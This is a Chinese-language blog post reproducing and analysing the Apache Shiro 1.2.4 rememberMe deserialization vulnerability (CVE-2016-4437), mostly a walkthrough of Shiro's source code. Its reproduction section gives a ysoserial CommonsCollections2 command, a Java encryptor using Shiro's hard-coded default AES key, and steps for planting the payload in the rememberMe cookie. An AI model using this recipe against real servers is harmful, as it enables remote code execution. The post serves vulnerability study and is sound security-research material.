当前位置:   article > 正文

17-java安全——shiro1.2.4反序列化分析(CVE-2016-4437)_shiro的反序列化流量分析

shiro的反序列化流量分析

漏洞原理

在shiro1.2.4版本中,用户认证信息rememberMe通常会进行Base64编码和AES加密存储在cookie中,当shiro安全框架对用户身份进行认证时,会对rememberMe的内容进行Base64解码和AES解密,然后反序列化还原成java对象,由于rememberMe可控,攻击者则可以利用rememberMe来构造恶意数据,产生反序列化漏洞。

漏洞环境

shiro1.2.4

jdk7u80

漏洞复现

github下载shiro1.2.4版本,下载链接: https://github.com/apache/shiro/releases/tag/shiro-root-1.2.4

下载shiro-root-1.2.4之后解压,在shiro-shiro-root-1.2.4\samples\目录以Project方式打开web作为一个项目

然后再pom文件中引入以下依赖,直接复制替换即可

  1. <?xml version="1.0" encoding="UTF-8"?>
  2. <!--
  3. ~ Licensed to the Apache Software Foundation (ASF) under one
  4. ~ or more contributor license agreements. See the NOTICE file
  5. ~ distributed with this work for additional information
  6. ~ regarding copyright ownership. The ASF licenses this file
  7. ~ to you under the Apache License, Version 2.0 (the
  8. ~ "License"); you may not use this file except in compliance
  9. ~ with the License. You may obtain a copy of the License at
  10. ~
  11. ~ http://www.apache.org/licenses/LICENSE-2.0
  12. ~
  13. ~ Unless required by applicable law or agreed to in writing,
  14. ~ software distributed under the License is distributed on an
  15. ~ "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
  16. ~ KIND, either express or implied. See the License for the
  17. ~ specific language governing permissions and limitations
  18. ~ under the License.
  19. -->
  20. <!--suppress osmorcNonOsgiMavenDependency -->
  21. <project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
  22. <parent>
  23. <groupId>org.apache.shiro.samples</groupId>
  24. <artifactId>shiro-samples</artifactId>
  25. <version>1.2.4</version>
  26. <relativePath>../pom.xml</relativePath>
  27. </parent>
  28. <modelVersion>4.0.0</modelVersion>
  29. <artifactId>samples-web</artifactId>
  30. <name>Apache Shiro :: Samples :: Web</name>
  31. <packaging>war</packaging>
  32. <build>
  33. <plugins>
  34. <plugin>
  35. <groupId>org.apache.maven.plugins</groupId>
  36. <artifactId>maven-toolchains-plugin</artifactId>
  37. <version>1.1</version>
  38. <executions>
  39. <execution>
  40. <goals>
  41. <goal>toolchain</goal>
  42. </goals>
  43. </execution>
  44. </executions>
  45. <configuration>
  46. <toolchains>
  47. <jdk>
  48. <version>1.7</version>
  49. <vendor>sun</vendor>
  50. </jdk>
  51. </toolchains>
  52. </configuration>
  53. </plugin>
  54. <plugin>
  55. <artifactId>maven-surefire-plugin</artifactId>
  56. <configuration>
  57. <forkMode>never</forkMode>
  58. </configuration>
  59. </plugin>
  60. <plugin>
  61. <groupId>org.mortbay.jetty</groupId>
  62. <artifactId>maven-jetty-plugin</artifactId>
  63. <version>${jetty.version}</version>
  64. <configuration>
  65. <contextPath>/</contextPath>
  66. <connectors>
  67. <connector implementation="org.mortbay.jetty.nio.SelectChannelConnector">
  68. <port>9080</port>
  69. <maxIdleTime>60000</maxIdleTime>
  70. </connector>
  71. </connectors>
  72. <requestLog implementation="org.mortbay.jetty.NCSARequestLog">
  73. <filename>./target/yyyy_mm_dd.request.log</filename>
  74. <retainDays>90</retainDays>
  75. <append>true</append>
  76. <extended>false</extended>
  77. <logTimeZone>GMT</logTimeZone>
  78. </requestLog>
  79. </configuration>
  80. </plugin>
  81. </plugins>
  82. </build>
  83. <dependencies>
  84. <dependency>
  85. <groupId>javax.servlet</groupId>
  86. <artifactId>servlet-api</artifactId>
  87. <scope>provided</scope>
  88. </dependency>
  89. <dependency>
  90. <groupId>org.slf4j</groupId>
  91. <artifactId>slf4j-log4j12</artifactId>
  92. <scope>runtime</scope>
  93. </dependency>
  94. <dependency>
  95. <groupId>log4j</groupId>
  96. <artifactId>log4j</artifactId>
  97. <scope>runtime</scope>
  98. </dependency>
  99. <dependency>
  100. <groupId>net.sourceforge.htmlunit</groupId>
  101. <artifactId>htmlunit</artifactId>
  102. <version>2.6</version>
  103. <scope>test</scope>
  104. </dependency>
  105. <dependency>
  106. <groupId>org.apache.shiro</groupId>
  107. <artifactId>shiro-core</artifactId>
  108. </dependency>
  109. <dependency>
  110. <groupId>org.apache.shiro</groupId>
  111. <artifactId>shiro-web</artifactId>
  112. </dependency>
  113. <dependency>
  114. <groupId>org.mortbay.jetty</groupId>
  115. <artifactId>jetty</artifactId>
  116. <version>${jetty.version}</version>
  117. <scope>test</scope>
  118. </dependency>
  119. <dependency>
  120. <groupId>org.mortbay.jetty</groupId>
  121. <artifactId>jsp-2.1-jetty</artifactId>
  122. <version>${jetty.version}</version>
  123. <scope>test</scope>
  124. </dependency>
  125. <dependency>
  126. <groupId>org.slf4j</groupId>
  127. <artifactId>jcl-over-slf4j</artifactId>
  128. <scope>runtime</scope>
  129. </dependency>
  130. <dependency>
  131. <groupId>org.apache.commons</groupId>
  132. <artifactId>commons-collections4</artifactId>
  133. <version>4.0</version>
  134. </dependency>
  135. <dependency>
  136. <groupId>javax.servlet</groupId>
  137. <artifactId>jstl</artifactId>
  138. <version>1.2</version>
  139. <scope>runtime</scope>
  140. </dependency>
  141. <dependency>
  142. <groupId>taglibs</groupId>
  143. <artifactId>standard</artifactId>
  144. <version>1.1.2</version>
  145. <scope>runtime</scope>
  146. </dependency>
  147. </dependencies>
  148. </project>

然后把shiro部署到tomcat当中,把jdk版本改为1.7u80

配置完后再启动tomcat,在浏览器地址栏访问http://localhost:8080/shiro,如果出现以下页面说明环境搭建完成。

漏洞利用探测,在login页面输入用户名和密码点击登录,开启burpsuite抓包,可以看到burpsuite的返回包会有一个Set-Cookie操作设置rememberMe=deleteMe,换句话说,如果返回页面会有一个Set-Cookie操作设置rememberMe的话,说明可能存在shiro反序列化漏洞。

通过ysoserial工具使用CC2利用链来生成poc

java -jar ysoserial-V20200316.2.jar CommonsCollections2 "calc" > poc.txt

然后将poc进行base64编码,AES加密

  1. import org.apache.shiro.crypto.AesCipherService;
  2. import org.apache.shiro.codec.CodecSupport;
  3. import org.apache.shiro.util.ByteSource;
  4. import org.apache.shiro.codec.Base64;
  5. import java.nio.file.Files;
  6. import java.nio.file.Paths;
  7. public class TestRemember {
  8. public static void main(String[] args) throws Exception {
  9. byte[] payloads = Files.readAllBytes(Paths.get("poc.txt"));
  10. AesCipherService aes = new AesCipherService();
  11. byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deZiIxcaaaA=="));
  12. ByteSource ciphertext = aes.encrypt(payloads, key);
  13. System.out.println(ciphertext.toString());
  14. }
  15. }

为了防止tomcat的端口和burpsuite监听的端口冲突,这里我将tomcat的端口改成了8081了,然后再重新启动tomcat服务器

访问http://192.168.0.35:8081/shiro/ 地址,开启burpsuite进行抓包在cookie字段中添加之前加密后的payload,然后放包,如果弹出计算器则说明漏洞利用成功。

漏洞复现的调用堆栈流程如下所示

漏洞分析

在进行漏洞分析之前,对于shiro用户认证流程不了解的同学可以先参考此篇文章:16-java安全——shiro1.2.4用户认证流程分析

现在我们来分析一下漏洞的利用流程,分析的入口是AbstractShiroFilter类的createSubject方法,这里解释一下为什么分析的入口是AbstractShiroFilter类的createSubject方法?

shiro框架有一个AbstractShiroFilter类(该类实现了Filter拦截器接口)会拦截web应用所有用户认证的http请求,而该类有一个doFilterInternal方法会处理这些http请求请求,并且doFilterInternal方法内部调用了createSubject方法创建一个Subject主体,并且把http请求的内容(例如cookie字段中的payload)封装到Subject主体中。

createSubject方法内部会通过WebSubject接口的buildWebSubject方法来构建一个web应用的Subject

  1. protected WebSubject createSubject(ServletRequest request, ServletResponse response) {
  2. //构建一个基于web的Subject
  3. return new WebSubject.Builder(getSecurityManager(), request, response).buildWebSubject();
  4. }

为什么WebSubject接口能调用一个方法?实际上是调用了WebSubject接口的静态内部类Builder的buildWebSubject方法

  1. public WebSubject buildWebSubject() {
  2. //调用父类的buildWebSubject方法
  3. Subject subject = super.buildSubject();
  4. if (!(subject instanceof WebSubject)) {
  5. String msg = "Subject implementation returned from the SecurityManager was not a " +
  6. WebSubject.class.getName() + " implementation. Please ensure a Web-enabled SecurityManager " +
  7. "has been configured and made available to this builder.";
  8. throw new IllegalStateException(msg);
  9. }
  10. return (WebSubject) subject;
  11. }

WebSubject接口继承了Subject接口,因此这里会调用Subject接口的buildSubject方法,Subject主体的创建会通过securityManager安全管理器来完成,因此在buildSubject方法中,securityManager安全管理器调用createSubject方法并传入了一个subjectContext参数,该参数内部封装了http请求中的内容(例如cookie字段中的payload)。

  1. public Subject buildSubject() {
  2. return this.securityManager.createSubject(this.subjectContext);
  3. }

DefaultSecurityManager安全管理器的createSubject方法内部会调用了一个resolvePrincipals方法解析SubjectContext的内容

  1. public Subject createSubject(SubjectContext subjectContext) {
  2. //省略部分代码......
  3. context = resolvePrincipals(context);
  4. //省略部分代码......
  5. }

resolvePrincipals方法内部会调用resolvePrincipals方法尝试解析SubjectContext中的Principal(身份信息),如果解析为空则会调用getRememberedIdentity方法继续从SubjectContext中获取http请求中cookie字段中rememberMe的内容。

  1. protected SubjectContext resolvePrincipals(SubjectContext context) {
  2. //解析SubjectContext的内容,通常返回null
  3. PrincipalCollection principals = context.resolvePrincipals();
  4. //判断Principal(身份信息)是否为空
  5. if (CollectionUtils.isEmpty(principals)) {
  6. log.trace("No identity (PrincipalCollection) found in the context. Looking for a remembered identity.");
  7. //解析SubjectContext中的http数据
  8. principals = getRememberedIdentity(context);
  9. if (!CollectionUtils.isEmpty(principals)) {
  10. log.debug("Found remembered PrincipalCollection. Adding to the context to be used " +
  11. "for subject construction by the SubjectFactory.");
  12. context.setPrincipals(principals);
  13. } else {
  14. log.trace("No remembered identity found. Returning original context.");
  15. }
  16. }
  17. return context;
  18. }

触发反序列化漏洞的关键就在于DefaultSecurityManager安全管理器的getRememberedIdentity方法,该方是反序列化漏洞的起点

  1. protected PrincipalCollection getRememberedIdentity(SubjectContext subjectContext) {
  2. //获取CookieRememberMeManager管理器
  3. RememberMeManager rmm = getRememberMeManager();
  4. if (rmm != null) {
  5. try {
  6. //获取rememberMe
  7. return rmm.getRememberedPrincipals(subjectContext);
  8. } catch (Exception e) {
  9. if (log.isWarnEnabled()) {
  10. String msg = "Delegate RememberMeManager instance of type [" + rmm.getClass().getName() +
  11. "] threw an exception during getRememberedPrincipals().";
  12. log.warn(msg, e);
  13. }
  14. }
  15. }
  16. return null;
  17. }

DefaultSecurityManager安全管理器首先获取了CookieRememberMeManager管理器,然后调用getRememberedPrincipals方法从subjectContext中封装的cookie字段中解析rememberMe的内容,但是CookieRememberMeManager管理器中并没有getRememberedPrincipals方法。

由于CookieRememberMeManager继承了AbstractRememberMeManager,因此会调用父类AbstractRememberMeManager的getRememberedPrincipals方法。

  1. public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) {
  2. PrincipalCollection principals = null;
  3. try {
  4. //获取rememberMe中的序列化字节流数据,进行base64解码
  5. byte[] bytes = getRememberedSerializedIdentity(subjectContext);
  6. //SHIRO-138 - only call convertBytesToPrincipals if bytes exist:
  7. //是否有数据
  8. if (bytes != null && bytes.length > 0) {
  9. //AES解密
  10. principals = convertBytesToPrincipals(bytes, subjectContext);
  11. }
  12. } catch (RuntimeException re) {
  13. principals = onRememberedPrincipalFailure(re, subjectContext);
  14. }
  15. return principals;
  16. }

getRememberedSerializedIdentity方法返回的是一个byte类型的字节数组,该方法主要是从http请求中解析数据,然后进行base64解码

  1. protected byte[] getRememberedSerializedIdentity(SubjectContext subjectContext) {
  2. //校验,是否为http
  3. if (!WebUtils.isHttp(subjectContext)) {
  4. if (log.isDebugEnabled()) {
  5. String msg = "SubjectContext argument is not an HTTP-aware instance. This is required to obtain a " +
  6. "servlet request and response in order to retrieve the rememberMe cookie. Returning " +
  7. "immediately and ignoring rememberMe operation.";
  8. log.debug(msg);
  9. }
  10. return null;
  11. }
  12. //如果是http,再强转回WebSubjectContext
  13. WebSubjectContext wsc = (WebSubjectContext) subjectContext;
  14. if (isIdentityRemoved(wsc)) {
  15. return null;
  16. }
  17. HttpServletRequest request = WebUtils.getHttpRequest(wsc);
  18. HttpServletResponse response = WebUtils.getHttpResponse(wsc);
  19. //从http请求中提取base64编码后的数据
  20. String base64 = getCookie().readValue(request, response);
  21. // Browsers do not always remove cookies immediately (SHIRO-183)
  22. // ignore cookies that are scheduled for removal
  23. if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null;
  24. if (base64 != null) {
  25. base64 = ensurePadding(base64);
  26. if (log.isTraceEnabled()) {
  27. log.trace("Acquired Base64 encoded identity [" + base64 + "]");
  28. }
  29. //base64解码
  30. byte[] decoded = Base64.decode(base64);
  31. if (log.isTraceEnabled()) {
  32. log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0) + " bytes.");
  33. }
  34. //返回数据
  35. return decoded;
  36. } else {
  37. //no cookie set - new site visitor?
  38. return null;
  39. }
  40. }

getRememberedSerializedIdentity方法返回之后,会判断是否有数据,如果有数据则调用convertBytesToPrincipals方法解密,接着调用deserialize方法反序列化

  1. protected PrincipalCollection convertBytesToPrincipals(byte[] bytes, SubjectContext subjectContext) {
  2. //获取AES加密服务,不为null调用decrypt方法
  3. if (getCipherService() != null) {
  4. //解密
  5. bytes = decrypt(bytes);
  6. }
  7. //反序列化
  8. return deserialize(bytes);
  9. }

decrypt方法经过多层调用,最终会调用AbstractRememberMeManager类的decrypt方法进行AES解密

  1. protected byte[] decrypt(byte[] encrypted) {
  2. byte[] serialized = encrypted;
  3. //获取AES密码服务
  4. CipherService cipherService = getCipherService();
  5. if (cipherService != null) {
  6. //进行AES密码进行解密
  7. ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey());
  8. //得到序列化的字节数据
  9. serialized = byteSource.getBytes();
  10. }
  11. return serialized;
  12. }

decrypt方法内部会再次调用getCipherService方法获取AES加解密服务,然后调用getDecryptionCipherKey方法获取解密的秘钥解密后,返回serialized

调用DefaultSerializer类的deserialize方法对serialized中的序列化字节数据反序列化

  1. public T deserialize(byte[] serialized) throws SerializationException {
  2. if (serialized == null) {
  3. String msg = "argument cannot be null.";
  4. throw new IllegalArgumentException(msg);
  5. }
  6. ByteArrayInputStream bais = new ByteArrayInputStream(serialized);
  7. BufferedInputStream bis = new BufferedInputStream(bais);
  8. try {
  9. ObjectInputStream ois = new ClassResolvingObjectInputStream(bis);
  10. @SuppressWarnings({"unchecked"})
  11. //调用readObject方法反序列化
  12. T deserialized = (T) ois.readObject();
  13. ois.close();
  14. return deserialized;
  15. } catch (Exception e) {
  16. String msg = "Unable to deserialze argument byte array.";
  17. throw new SerializationException(msg, e);
  18. }
  19. }

deserialize方法内部对于serialized参数中解密后的内容没有任何过滤和校验操作,而是进行了一个简单的不为null的判断,然后直接调用了readObject方法进行反序列化,从而调用CC2利用链产生反序列化漏洞,实现RCE命令执行。

关于CC2利用链具体可以参考之前的文章:8-java安全——java反序列化CC2链分析

为什么在内网的场景下shiro发序列化漏洞很常见,其实主要的原因在于内网的安全的防御相对于外网较薄弱。

从wireshark抓到的流量来看,由于http请求中payload经过base64编码和AES加密后,导致漏洞在利用过程中没有明显的特征值,很容易骗过安全设备。

最后是分析过程中几点的疑惑

在分析过程中主要对两点比较疑惑:一个是AES解密的秘钥是从哪被设置的?另一个是DefaultSecurityManager安全管理器是从哪里获取的CookieRememberMeManager管理器。

先说getDecryptionCipherKey方法中返回的秘钥decryptionCipherKey是从哪里设置的。

既然decryptionCipherKey有getter方法,那么也有对应的setter方法,通过查看方法的调用关系,可以看到在setCipherKey方法中调用了setDecryptionCipherKey方法

  1. public void setCipherKey(byte[] cipherKey) {
  2. //Since this method should only be used in symmetric ciphers
  3. //(where the enc and dec keys are the same), set it on both:
  4. setEncryptionCipherKey(cipherKey);
  5. setDecryptionCipherKey(cipherKey);
  6. }

而setCipherKey方法是在AbstractRememberMeManager管理器实例化的时候被调用

  1. public AbstractRememberMeManager() {
  2. this.serializer = new DefaultSerializer<PrincipalCollection>();
  3. //创建AES密码服务并设置秘钥
  4. this.cipherService = new AesCipherService();
  5. setCipherKey(DEFAULT_CIPHER_KEY_BYTES);
  6. }

到这基本可以知道,由于CookieRememberMeManager类继承了AbstractRememberMeManager类,CookieRememberMeManager的构造器在初始化时会自动调用父类的构造设置AES解密的秘钥,可以确定DEFAULT_CIPHER_KEY_BYTES就是AES解密的秘钥。

然后就是关于CookieRememberMeManager管理器的问题。

在分析的过程中DefaultSecurityManager安全管理器并没有调用对应的set方法设置CookieRememberMeManager管理器,那么CookieRememberMeManager管理器是在哪里设置的?

我们来看一下shiro的安全管理器关系架构图

 以上这些主要的管理器分别为:

SessionsSecurityManager(会话安全管理器)

AuthorizingSecurityManager(授权安全管理器)

AuthenticatingSecurityManager(认证安全管理器)

RealmSecurityManager(领域安全管理器)

CachingSecurityManager(缓存安全管理器)

WebSecurityManager(web安全管理器)

CookieRememberMeManager(cookie RememberMe管理器)

从上可以知道,DefaultWebSecurityManager管理器继承了DefaultSecurityManager管理器,DefaultWebSecurityManager的构造进行了一些初始化工作将Subject主体封装成cookie,创建了一个CookieRememberMeManager管理器并调用了setRememberMeManager方法设置到RememberMe管理器中

  1. public DefaultWebSecurityManager() {
  2. super();
  3. ((DefaultSubjectDAO) this.subjectDAO).setSessionStorageEvaluator(new DefaultWebSessionStorageEvaluator());
  4. this.sessionMode = HTTP_SESSION_MODE;
  5. setSubjectFactory(new DefaultWebSubjectFactory());
  6. //设置到RememberMe管理器中
  7. setRememberMeManager(new CookieRememberMeManager());
  8. setSessionManager(new ServletContainerSessionManager());
  9. }

CookieRememberMeManager表示把Subject主体封装到cookie当中,设置了一个httponly字段和cookie有效期

  1. public CookieRememberMeManager() {
  2. //往cookie写入rememberMe
  3. Cookie cookie = new SimpleCookie(DEFAULT_REMEMBER_ME_COOKIE_NAME);
  4. //设置httponly后,cookie无法被浏览器的js读取,可以防止xss攻击
  5. cookie.setHttpOnly(true);
  6. //设置cookie有效期
  7. cookie.setMaxAge(Cookie.ONE_YEAR);
  8. this.cookie = cookie;
  9. }

DefaultWebSecurityManager安全管理器在shiro应用启动的时候就会被实例化,对应的DefaultSecurityManager管理器也会随之实例化。

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/盐析白兔/article/detail/450659
推荐阅读
相关标签
  

闽ICP备14008679号